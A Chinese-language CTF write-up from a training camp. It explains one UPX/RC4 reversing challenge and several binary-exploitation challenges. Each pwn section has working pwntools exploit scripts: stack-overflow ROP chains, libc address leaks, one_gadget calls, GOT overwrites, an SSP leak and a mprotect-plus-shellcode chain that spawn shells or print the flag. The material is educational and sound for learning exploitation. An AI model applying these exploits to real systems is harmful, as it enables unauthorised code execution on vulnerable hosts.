2020年8月

题解

REVERSE

unpackme

rc4同学拿到了一个奇怪的可执行文件,你能帮帮他吗?

题目给出了一个可执行文件packed,执行后输出do you know upx?。容易判断这个程序用upx压缩了,尝试利用upx进行解压缩。

upx -d packed

解压缩成功,之后用ida打开进行分析。定位到main函数,程序首先检测了自身是否含有UPX!,如果没有发现,那么从stdin读取flag,并解密程序内使用rc4密码加密的flag,两者strcmp做比较。

这样我们只需要在gdb中在strcmp处加一个断点,然后运行,随便输入一些内容,然后在断点处就可以看到flag内容了。

pwndbg> p pData
$2 = "flag{oh you know upx and rc4!}", '\000' <repeats 481 times>

PWN

qiandao-pwn

nc everything411.top 10014

pwn签到题,main函数中是一个简单粗暴的gets溢出,然后有一个sh函数,如果其参数为字符串meow则调用system("/bin/sh")。简单的ret2shell,考察ROP的基础知识。

那么可以考虑把strcmp第二个参数的地址传递给sh,构造strcmp("meow", "meow"),由于是64位,第一个参数由rdi传递,需要找一下控制rdi的gadget。

ROPgadget --binary qiandao --only "pop|ret"

payload为 "a" * 256 + fakerbp + pop_rdi_ret_addr + meow_addr + sh_addr

from pwn import *

# io = process("./qiandao")
io = remote("everything411.top", 10014)
pop_rdi_ret = 0x401263
meow_addr = 0x402004
sh_addr = 0x401156
io.sendline(b"a"*0x100 + p64(0) + p64(pop_rdi_ret) + p64(meow_addr) + p64(sh_addr))
io.interactive()

qiandao2

nc everything411.top 10015

do you know one_gadget?

本题难度仍不大,某种意义上也是签到题,考察libc中函数地址的泄露。这道题溢出点和上一道类似,但是程序中没有system和exec系列的函数,因此需要获取libc地址来调用。

由于ASLR开启,每次程序启动libc会加载到随机的地址,但是libc中函数相对基址的偏移不会变,函数地址的低12位也不会变。在函数完成第一次调用后,函数的真实地址保存在程序的GOT中,因此读取GOT中的函数真实地址,然后从给出的libc文件获取函数相对基址的偏移,从而计算libc加载的基址,进而接合函数偏移可以获得任意函数的真实地址。

libcbase = func1_real_addr - func1_offset
func2_real_addr = libcbase + func2_offset

其中func1_real_addr从GOT中泄露,而两个offset从下载的libc文件中获取。

在获取到libc基址后,就可以在ROP链中使用libc中的函数和gadgets了。libc代码量很大,如果题目可执行文件中缺少某一功能的gadgets,可以考虑在libc中去寻找,此外libc中还有特殊的gadgets被称为one_gadget,跳转到这些gadgets时,如果程序的状态能满足一定的约束条件时,可以只利用一个one_gedget,一次性的获取到shell。另外libc中也有/bin/sh的字符串可供使用。

对于本题来说,可以用puts去输出GOT中函数地址,然后返回到main中重新溢出,调用one_gadget。

from pwn import *

# io = process("./qiandao2")
# context.log_level='debug'
io = remote("everything411.top", 10015)
libc = ELF("./x64_libc.so.6")
elf = ELF("./qiandao2")
setbuf_offset = libc.symbols["setbuf"]
setbuf_got = elf.got["setbuf"]
puts_plt = elf.plt["puts"]
main_addr = elf.symbols["main"]
one_gadget_addr = 0x45226
fakerbp = 0
pop_rdi_ret = 0x401233
io.sendline(b"a"*0x100 + p64(fakerbp) + p64(pop_rdi_ret) +
            p64(setbuf_got) + p64(puts_plt) + p64(main_addr))
a = io.recv()
setbuf_addr = u64(a[0:6] + b"\x00\x00")
io.sendline(b"a"*0x108 + p64(setbuf_addr - setbuf_offset + one_gadget_addr))
io.interactive()

let's overwrite

nc everything411.top 10098

服务器上的可执行文件除了flag文本的本身内容不同以外,其他都完全相同

tips: stderr is available, beware of the output. no need to get a shell.

这道题是典型的SSP Leak,在检测到canary被覆盖后libc会输出一段文字,其中会输出程序自己的名称 argv[0],如果把argv[0]覆盖成想要输出的地址,就可以通过这个机制泄露信息。采用较高版本的libc的系统在这种情况下不会输出 argv[0],所以在本地很可能无法复现SSP Leak。

本题考虑泄露main函数本体的汇编,其中是包含了flag的信息的。

from pwn import *

# io = process("./ssp")
# context.log_level='debug'
io = remote("everything411.top", 10098)

flag_addr = 0x4011b9

io.sendline(b"a" * (0x110) + p64(flag_addr) * 30)
io.interactive()

C-programming-homework

nc everything411.top 10013

类型转换的魔法

本题难度中等,主要考察对PLT, GOT等结构的了解和代码审计的能力。整体思路为将栈顶p改为负数,然后从bss越界向上读写GOT,泄露libc并将system地址覆盖到GOT中,将函数替换为system。

本题给出了源代码,其中的注释实际上作为题目Hint,需要重点关注。其中p为int类型,而setpointer功能中,s为long long类型,且只检测了s不能小于0。因此如果将s设为0xffffffff,则s>0成立,而在s赋给p的过程中,s被截断为32位,则0xffffffff则对应了32位下的-1。这样就可以把p设置成负数了。

之后执行pop功能,直到p指向GOT,泄露getchar,然后计算system的地址,将其覆盖到strcmp的GOT上,此时下一次调用strcmp即为调用system。

from pwn import *

# io = process("./homework")
io = remote("everything411.top",10013)
libc = ELF("x64_libc.so.6")
io.sendline("setpointer")
io.sendline("ffffffff")
for i in range(19):
    io.sendline("pop")
    addr = io.recv().decode()
    addr = int(addr, 16)
libcbase = addr - libc.symbols["getchar"]
binsh = libcbase + next(libc.search(b"/bin/sh"))
system = libcbase + libc.symbols["system"]
print('%#x %#x' % (libcbase, binsh))
io.sendline("pop")
io.sendline("push")
io.sendline("%x"%system)
io.sendline("/bin/sh")
io.interactive()
io.close()

rot13

nc everything411.top 10016

this binary is so small!

本题实际上是某比赛中的一道WEB题目搬运+改编而来,原题是通过一个flask的网页和rot13程序进行交互,只能输入和输出各一次。而本题则是与rot13进行直接交互,没有输入输出的限制,而下面的rot13-hard则为对原题的情景进行复现,只能进行输入输出各一次。

这道题的解法仍然是泄露libc,计算偏移,然后返回溢出函数重新溢出,调用one_gadget或者调用system("/bin/sh")。泄露libc需要构造ROP链,调用write。但是在rot13程序中无法找到能用来控制rdi,rsi等寄存器的pop; ret;形式的gadgets。注意到mov指令同样可以用来改变寄存器的值,那么可以找到下面的gadgets,能够控制edi/rsi。

0x0000000000400426: mov edi, dword ptr [rsp + 8]; mov rsi, qword ptr [rsp + 0x10]; ret; 
0x000000000040042b: mov esi, dword ptr [rsp + 0x10]; ret; 
0x0000000000400425: mov rdi, qword ptr [rsp + 8]; mov rsi, qword ptr [rsp + 0x10]; ret; 
0x000000000040042a: mov rsi, qword ptr [rsp + 0x10]; ret; 

同时通过调试我们又可以发现在溢出时,上一个函数调用恰好为write,这使得此时rdi的值恰好为1(即stdout),而rdx的值为我们输入的payload的长度,那么我们只需要修改rsi的值为要泄露的地址,因此可以直接选择0x40042a处的gadgets,把泄露的地址放在rsp+0x10处,然后前面16字节放置write和其返回地址。

重新进入溢出函数后,进行常规的溢出调用one_gadget或者调用system("/bin/sh")即可获得shell。

#!/usr/bin/env python3
from pwn import *

context.log_level = 'debug'
# sh = remote("47.94.252.112", 11000)
sh = remote("everything411.top", 10016)
rot13 = ELF("./rot13")
libc_elf = ELF("./x64_libc.so.6")
mov_rsi_ret = 0x40042a
vul_func_addr = 0x400481
read_plt = rot13.plt["read"]
write_plt = rot13.plt["write"]


def leak(address):
    payload = b"A" * 0x40 + p64(0) + p64(mov_rsi_ret) + p64(write_plt) + p64(vul_func_addr) + p64(address)
    #                                                   rsp              rsp + 0x8            rsp + 0x10
    plen = len(payload)
    sh.send(payload)
    sh.recv(plen)
    leakdata = sh.recv()
    addr = u64(leakdata[0:8])
    print("leak addr %#x" % addr)
    return addr


alarm_got = rot13.got["alarm"]
alarm_addr = leak(alarm_got)

libcbase = alarm_addr - libc_elf.symbols["alarm"]
print("libcbase %#x" % libcbase)

system_addr = libcbase + libc_elf.symbols["system"]
binsh_addr = libcbase + next(libc_elf.search(b"/bin/sh"))
rdi_addr = libcbase + 0x21112
one_gadget = libcbase + 0x45226

payload = b"A" * 0x40 + p64(0) + p64(one_gadget)
# payload = b"A" * 0x40 + p64(0) + p64(rdi_addr) + p64(binsh_addr) + p64(system_addr)

sh.sendline(payload)
sh.interactive()

rot13-hard

nc everything411.top 10099

rot13现在运行在一个wrapper之下,wrapper只允许与rot13进行一次输入和一次输出。本题仍然是rot13的栈溢出漏洞,wrapper的作用仅仅是限制输入输出次数。

syscall is always your friend, but he hides somewhere in the memory

Hint

mprotect syscall
rax=0xa

syscall in alarm@libc

read(0, addr, 0xa)
return rax=0xa

input 0x20a =
read(0, addr, 0x100) +
read(0, addr, 0x100) +
read(0, addr, 0xa)

本题是pwn的防ak题,运用的知识本次集训几乎都有涉及,但是综合性非常强,难度大,需要将多种利用技巧组合使用。

由于本题限制,无法获取shell,只能一次性将payload构造完毕并发送,然后在唯一一次的输出机会中将flag输出出来,同时这也使得之前的泄露libc的方法不再可行,但是plt中既没有exec,也没有open,那么只能考虑利用shellcode来执行代码。shellcode需要放到一个固定的可写的内存位置,IDA中看不到.bss.data,不过仍然可以在gdb利用vmmap命令找到DATA段的位置位于0x601000-0x602000。因为开启了NX保护,所以需要调用mprotect系统调用来改变写入shellcode的内存页的属性。题中alarm函数是系统调用,那么在libc中alarm的函数体内一定有syscall指令,在IDA中查看可以得到syscall指令位于alarm+5处(偏移0xCC285),因为ALSR时函数地址低12位不变,所以我们只要把got中的alarm地址的最低字节由\x80覆盖为\x85即可,此时调用alarm相当于调用syscall指令。mprotect的系统调用号为10,在syscall时需要将rax的值置为10,而read系统调用的返回值为读取的字节数,储存在rax中,所以可以利用read(0, addr, 10)来同时达到覆盖got并控制rax的效果。

#!/usr/bin/env python3
from pwn import *

# context.log_level = 'debug'
context.arch = "amd64"
# sh = remote("47.94.252.112", 11000)
sh = remote("everything411.top", 10099)
# sh = remote("everything411.top", 10016)
# sh = process("./rot13")
rot13 = ELF("./rot13")
read_plt = rot13.plt["read"]
write_plt = rot13.plt["write"]
alarm_plt = rot13.plt["alarm"]
alarm_got = rot13.got["alarm"]
data_addr = 0x601000
shellcode_addr = data_addr + 0x100  # 避开.plt.got
mov_rdi_rsp0x8_rsi_rsp0x10_ret = 0x400425
mov_rsi_rsp0x10_ret = 0x40042A
pop_rdx_rbp_ret = 0x40047e
pop_rbp_ret = 0x40047f
leave_ret = 0x4004b6

shellcode = asm(shellcraft.execve("/bin/cat", ("cat","flag")))

payload = b"A" * 0x40 + p64(0xdeadbeef)
payload += p64(mov_rdi_rsp0x8_rsi_rsp0x10_ret) + p64(pop_rdx_rbp_ret) + p64(0) + p64(shellcode_addr) 
# mov_rdi_rsp0x8_rsi_rsp0x10_ret -> rdi = 0; rsi = 0x601100;
# pop_rdx_rbp_ret -> rdx = 0; rbp = 0x601100; 本条指令仅用于清栈,将rsp指向下一个gadget地址

payload += p64(pop_rdx_rbp_ret) + p64(len(shellcode)) + p64(0xdeadbeef) + p64(read_plt)
# pop_rdx_rbp_ret -> rdx = len(shellcode); rbp = 0xdeadbeef;
# read_plt -> read(rdi=0, rsi=0x601100, rdx=len(shellcode)) 读取shellcode到0x601100

payload += p64(mov_rsi_rsp0x10_ret) + p64(pop_rdx_rbp_ret) + p64(10) + p64(alarm_got - 9) + p64(read_plt)
# mov_rsi_rsp0x10_ret -> rsi = alarm_got - 9;
# pop_rdx_rbp_ret -> rdx = 10; rbp = alarm_got - 9; 控制rdx,并清栈
# read_plt -> read(rdi=0, rsi=alarm_got-9, rdx=10) 覆盖alarm_got最低字节,并控制rax=10

payload += p64(mov_rdi_rsp0x8_rsi_rsp0x10_ret) + p64(pop_rdx_rbp_ret) + p64(data_addr) + p64(0x1000)
# mov_rdi_rsp0x8_rsi_rsp0x10_ret -> rdi = 0x601000; rsi = 0x1000;
# pop_rdx_rbp_ret -> rdx = 0x601000; rbp = 0x1000; 本条指令仅用于清栈,将rsp指向下一个gadget地址

payload += p64(pop_rdx_rbp_ret) + p64(7) + p64(0xdeadbeef) + p64(alarm_plt) + p64(shellcode_addr)
# pop_rdx_rbp_ret -> rdx = 7(RWX); rbp = 0xdeadbeef;
# alarm_plt -> syscall(rax=10, rdi=0x601000, rsi=0x1000, rdx=7) call mprotect
# shellcode_addr -> 调用shellcode

payload = payload.ljust(0x100) # payload调整为成0x100字节,ROP中的read将从第0x101字节开始读取
payload += shellcode # ROP第一个read,读取shellcode
payload += b"A" * 9 + b"\x85" # ROP第二个read

sh.send(payload)
sh.recv(0x100)
print(sh.recvall().decode())
sh.close()